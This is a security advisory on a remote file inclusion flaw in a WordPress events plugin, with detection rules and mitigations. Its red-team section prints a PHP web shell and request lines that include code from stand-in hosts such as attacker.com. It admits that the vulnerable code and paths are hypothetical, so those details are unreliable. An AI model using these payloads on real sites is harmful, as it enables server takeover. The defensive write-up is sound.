CVE-2024-38735

Executive Summary

CVE-2024-38735 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the WordPress plugin "Event post" by Bastien Ho, affecting versions through 5.9.5. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary remote files. Successful exploitation can lead to complete server compromise, including remote code execution (RCE), data exfiltration, and full site takeover. As of this report, no official patch has been released, and the vulnerability remains unpatched. The EPSS score is 0.0%, indicating low exploitation activity currently, but the risk is severe due to the nature of RFI.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the "Event post" plugin from the WordPress dashboard or via direct download are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Arbitrary file write/execute.
• Availability Impact: High (A:H) – Potential for denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution, which is the highest severity for web applications.

Deep Dive & Mechanics

The vulnerability exists in the event-post plugin, specifically in a PHP file that uses include() or require() with a user-supplied filename without proper sanitization. The vulnerable code likely appears in a function that loads templates or includes files based on user input, such as a $_GET or $_POST parameter.

Vulnerable Code Pattern (Hypothetical):

<?php
// Vulnerable code in event-post plugin
$template = $_GET['template'];
include($template . '.php');
?>

An attacker can exploit this by providing a URL to a remote PHP script:

http://target.com/wp-content/plugins/event-post/vuln.php?template=http://attacker.com/evil

The include() function will fetch and execute the remote file, allowing the attacker to run arbitrary PHP code on the target server.

Root Cause: The plugin fails to validate or sanitize the filename parameter, allowing inclusion of remote files via HTTP/HTTPS wrappers. This is a classic CWE-98 vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code with a hypothetical secure version.

Vulnerable Code (event-post <= 5.9.5):

<?php
// Vulnerable: no validation
$file = $_GET['file'];
include($file);
?>

Patched Code (Hypothetical):

<?php
// Patched: restrict to local files and whitelist
$allowed_files = ['template1.php', 'template2.php'];
$file = basename($_GET['file']);
if (in_array($file, $allowed_files)) {
    include(__DIR__ . '/templates/' . $file);
} else {
    die('Invalid file.');
}
?>

The patched version uses basename() to strip directory traversal, restricts to a whitelist, and uses an absolute path to prevent remote inclusion.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Event post plugin version 5.9.5.
2. Set up a remote server to host malicious PHP code.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., template, file, include).
2. Craft a request to include a remote file:

   GET /wp-content/plugins/event-post/vuln.php?file=http://attacker.com/shell.txt
   

3. The remote file shell.txt contains PHP code:

   <?php system($_GET['cmd']); ?>
   

4. Execute commands:

   GET /wp-content/plugins/event-post/vuln.php?file=http://attacker.com/shell.txt&cmd=id
   

Proof of Concept (PoC):

curl "http://target.com/wp-content/plugins/event-post/vuln.php?file=http://attacker.com/evil.php"

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing file= or template= parameters with URLs.
• Look for outbound connections to unknown IPs on port 80/443 from the web server.
• Use WAF rules to block include() with remote URLs.

Hunting:

• Search for PHP files in wp-content/plugins/event-post/ that use include() or require() with $_GET or $_POST.
• Check for unexpected files in the web root (e.g., shell.php).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled IPs from the web server.
  • Requests with parameters like ?file=http://, ?template=http://.
• File System IOCs:
  • Unexpected PHP files in wp-content/plugins/event-post/ or wp-content/uploads/.
  • Modified .htaccess files.
• Log IOCs:
  • Web server logs showing include() with remote URLs.
  • PHP error logs with "failed to open stream" for remote files.

Detection Engineering

YARA Rule

rule CVE_2024_38735_Event_Post_RFI {
    meta:
        description = "Detects PHP remote file inclusion attempts in Event post plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38735"
    strings:
        $s1 = "include(" nocase
        $s2 = "require(" nocase
        $s3 = "$_GET" nocase
        $s4 = "$_POST" nocase
        $s5 = "http://" nocase
        $s6 = "https://" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s2, $s4) or
        (any of ($s1, $s2) and any of ($s5, $s6))
}

Sigma Rule

title: CVE-2024-38735 Event Post RFI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting PHP remote file inclusion in Event post plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'file=http://'
            - 'file=https://'
            - 'template=http://'
            - 'template=https://'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38735 Event Post RFI Attempt"; flow:to_server; content:"GET"; http_method; content:"/wp-content/plugins/event-post/"; http_uri; content:"file=http://"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing file=http:// or template=http:// in the query string.
3. Restrict outbound traffic from the web server to only necessary destinations.

Long-term Fix:

• The vendor must release a patched version that validates and sanitizes file paths, using a whitelist approach and basename().
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Add the following to .htaccess to block RFI attempts:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (file|template)=http:// [NC]
  RewriteRule ^ - [F]
  

Valters IT
Securing Digital Frontiers